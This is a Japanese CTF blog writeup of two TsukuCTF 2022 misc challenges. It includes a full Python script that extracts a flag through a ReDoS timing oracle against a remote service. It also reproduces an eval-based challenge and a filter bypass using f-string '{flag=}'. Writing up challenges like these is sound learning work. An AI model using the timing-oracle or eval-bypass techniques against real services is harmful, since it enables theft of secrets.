ふるつき

v(*'='*)v かに

TsukuCTF 2022 writeup

"This is a CTF with Japanese OSINT as the main genre." という激ユニークなCTFがあって、98ptsというチームで出ました*1。メインディッシュであるところのOSINTは全くわからなかったのでチームメイトにすべて丸投げしていて、前菜のmiscを2問だけ解いたのでそれのwriteupです。OSINTはについてはst98さんのwriteupを参照されてください

nanimokangaeteinai.hateblo.jp

soder

問題のスクリプトが簡潔なので好き。正規表現のパターンを入力すると、re.match(pattern, FLAG) してくれるが、結果は教えてもらえない。何をやればよいかと言うとReDoS*2という、めちゃめちゃバックトラックが多いパターンを入力すると正規表現の処理に時間がかかることをオラクルにしてフラグの情報を抜き出す技があるのでそれ。

詳しいことは何もしらないけど、そういえばTakashi Yoneuchi氏が詳しかったなと言うことを思い出して https://shift-js.info/ を見に行ったら案の定ReDoSについて解説しているスライドがあったし、なんなら今回のケースにドンピシャなオラクルの作り方も懇切丁寧に書いてあった*3

speakerdeck.com

Takashi Yoneuchi氏に深い感謝を捧げながらスクリプトを書いて回して待つ。なんかptrlibのtimeoutがうまく動かなくて例外がちゃんと送出されなかった。なぜ

from ptrlib import Socket
from logging import getLogger
import string
import re
import time
from timeout_decorator import timeout, TimeoutError
from tqdm import tqdm


getLogger("ptrlib").setLevel(0)


def redos_if(pattern):
    return "^(?={})((.*)*)*hoge$".format(pattern)

@timeout(1)
def timeout_pattern(pattern):
    sock = Socket("nc 133.130.103.51 31417")
    sock.sendlineafter("Pattern: ", redos_if(pattern))
    sock.recvline()
    sock.recvline(timeout=1)


def oracle(pattern):
    t1 = time.time()
    try:
        timeout_pattern(pattern)
    except TimeoutError:
        return 5
    t2 = time.time()

    return t2 - t1


def is_nth_char(n, c):
    return ".{"+str(n)+"}"+re.escape(c)+".*"


known_flags = []
while True:
    for c in tqdm(string.printable):
        if oracle(is_nth_char(len(known_flags), c)) > 1:
            known_flags.append(c)
            break
        time.sleep(0.1)
    print(known_flags)

lucky number 777

問題のスクリプトが簡潔なので好き2*4。送った文字列をeval してくれるが、便利そうな記号は大体封じられている。"{flag}" in lukcy_number が封じられているように{}""は入力可能なのでこれをうまく使いたい。

import string

def challenge(lucky_number: str):
    flag = "TsukuCTF22{THIS_IS_NOT_FLAG}"  # TOP SECRET
    printable = string.printable
    filter = "_[].,*+%:  |()#\\\t\r\v\f\n"  # ( ̄ー ̄)

    if not all(c in printable for c in lucky_number):
        return "No Hack!!!"

    if any(c in filter for c in lucky_number):
        return "No Hack!!!"

    if lucky_number == "flag" or "{flag}" in lucky_number:
        return "No Hack!!!"

    try:
        return "your lucky_number is " + str(eval(lucky_number))
    except:
        return "No Hack!!!"

pythonのf-stringについてなんかないかな〜と思ってドキュメントを眺めていたらf"{flag}"はフィルタに引っかかるので禁止されているが、f"{flag=}"はフィルタをすり抜けることに気がついたので、それを入れて勝ち


最近腑抜けているので、「こういうのでいいんだよな〜」と思いながら解いていた。楽しいね

*1:zer0ptsにst98さん要素で98ptsにしたけど、pがなければst98のアナグラムになってたんだなぁということにいまさら気がついた。もうひと捻りできましたね

*2:問題名にもそう書いてある。個人的に問題名に解法を埋め込むやつきらいです

*3:この情報にたどり着けるかどうかなので実質OSINTという説がありますか?

*4:でもラッキーナンバーのコンセプトがどのあたりにあるのかはあんまりわかってない